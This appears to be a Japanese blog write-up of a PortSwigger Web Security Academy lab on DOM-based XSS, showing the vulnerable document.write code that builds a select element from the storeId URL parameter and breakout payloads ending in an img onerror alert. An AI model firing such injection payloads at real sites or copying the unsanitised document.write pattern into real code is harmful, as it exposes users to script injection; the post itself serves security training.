Shikata Ga Nai

Private? There is no such things.

DOM XSS in document.write sink using source location.search inside a select elementをやってみた

Hello there, ('ω')ノ

 

select要素内のlocation.searchを使用したdocument.writeシンクのDOMXSSを。

プルダウンで選択して、Check stockをクリックすると。

 

f:id:ThisIsOne:20210302111739p:plain

 

リクエストに、storeIdのパラメータが。

 

f:id:ThisIsOne:20210302112311p:plain

 

URLには、storeIdはなくて。

 https://ac491f8d1e2d600180cad6f8006d00de.web-security-academy.net/product?productId=1

 

f:id:ThisIsOne:20210302113526p:plain


ちなみにURLにstoreIdを追加してみると。

 https://ac491f8d1e2d600180cad6f8006d00de.web-security-academy.net/product?productId=1&storeId=2

 

プルダウンメニューに2が追加されて。

 

f:id:ThisIsOne:20210302113741p:plain


下記のパラメータに変更してみると反映されて。

 storeId="></select><h1>hack</h1>

 

 https://ac491f8d1e2d600180cad6f8006d00de.web-security-academy.net/product?productId=1&storeId=%22%3E%3C/select%3E%3Ch1%3Ehack%3C/h1%3E

 

f:id:ThisIsOne:20210302114944p:plain

 

f:id:ThisIsOne:20210302114133p:plain

 

URLのstoreIdパラメータを変更して実行してみると。

 storeId="></select><img%20src=1%20onerror=alert(1)>

f:id:ThisIsOne:20210302114405p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210302114428p:plain

 

スクリプトを見ると。

スクリプトで、select要素を作成していて。

 

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');


document.write('<select name="storeId">');


if(store) {
document.write('<option selected>'+store+'</option>');
}


for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}


document.write('<option>'+stores[i]+'</option>');
}


document.write('</select>');

 

f:id:ThisIsOne:20210302120346p:plain

 

f:id:ThisIsOne:20210302120718p:plain

 

Best regards, (^^ゞ